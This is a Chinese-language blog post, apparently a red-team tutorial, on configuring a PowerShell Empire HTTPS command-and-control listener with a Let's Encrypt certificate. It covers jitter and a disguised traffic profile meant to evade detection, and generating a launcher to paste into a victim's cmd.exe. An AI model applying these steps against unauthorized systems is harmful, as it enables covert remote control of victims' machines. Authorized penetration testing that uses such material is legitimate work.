使用受信任证书配置PowerShell Empire以提升渗透成功率

本文详细介绍了如何通过Let's Encrypt获取受信任证书,并配置PowerShell Empire监听器使用HTTPS与自定义参数,以提高在目标网络中获得成功会话的概率并规避检测。

注意: 本博文中引用的技术和工具可能已过时,不适用于当前情况。然而,这篇博文仍可作为学习机会,并可能更新或集成到现代工具和技术中。

使用受信任的证书和非默认的Empire选项将有助于增加您在网络中成功获取会话的机会。请按照以下说明进行设置。

首先,使用Let’s Encrypt为您的服务器获取签名的数字证书。

访问 https://certbot.eff.org/ 获取说明。此处还展示了在Debian上运行Apache的过程。首先,选择您的服务器软件和操作系统,本例中为Apache和Debian 8。

Certbot起始页

通过添加以下行,将Jessie Backports Repo添加到您的sources.list文件中(本例中为 /etc/apt/sources.list):

1
deb http://ftp.debian.org/debian jessie-backports main

然后使用以下命令更新:

1
sudo apt-get update

安装Certbot包:

1
sudo apt-get install python-certbot-apache -t jessie-backports

运行apache插件:

1
sudo certbot --apache

这将提示您回答一些问题。请注意,您需要有一个指向您服务器的域名(域名很便宜,只需购买一个),因为Let’s Encrypt不会为裸IP地址颁发证书。或者,您可以使用自签名证书,如 https://attackerkb.com/Powershell/Powershell_Empire 所述,这将不需要域名。

通过Let’s Encrypt成功设置

现在,将您的cert.pem和privkey.pem合并到同一个文件中,以供Empire使用(感谢Joff):

1
2
3
cd /etc/letsencrypt/live/<your domain>
cp privkey.pem empire-priv.key
cat cert.pem chain.pem > empire-chain.pem

停止Apache,以便端口80和443可用于您的Empire监听器:

1
service apache2 stop

在Empire中,使用类似以下的选项。请注意,更改抖动和默认配置文件是为了尝试避免会话检测并增加成功获取会话的机会(感谢Derek):

1
2
3
4
5
6
7
8
uselistener http
set Name 443
set Port 443
set DefaultJitter 0.7
set CertPath /etc/letsencrypt/live/<your domain>/
set Host https://<your domain>
set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp| Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
execute

注意: 有关编写监听器启动脚本的提示,请参见此处 – https://www.blackhillsinfosec.com/how-to-script-startup-of-empire-listeners/

您现在在端口443上有一个HTTPS监听器。您可以使用以下Empire命令生成一个PowerShell命令,在受害者机器上运行以建立会话:

1
2
3
back
usestager multi/launcher 443
execute

使用Empire启动器

将长长的PowerShell命令复制并粘贴到受害者的cmd.exe中,通过受信任的证书建立HTTPS会话。哇哦,哇哦!


*感谢Joff Thyer和Derek Banks的想法和帮助,使其得以实现。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计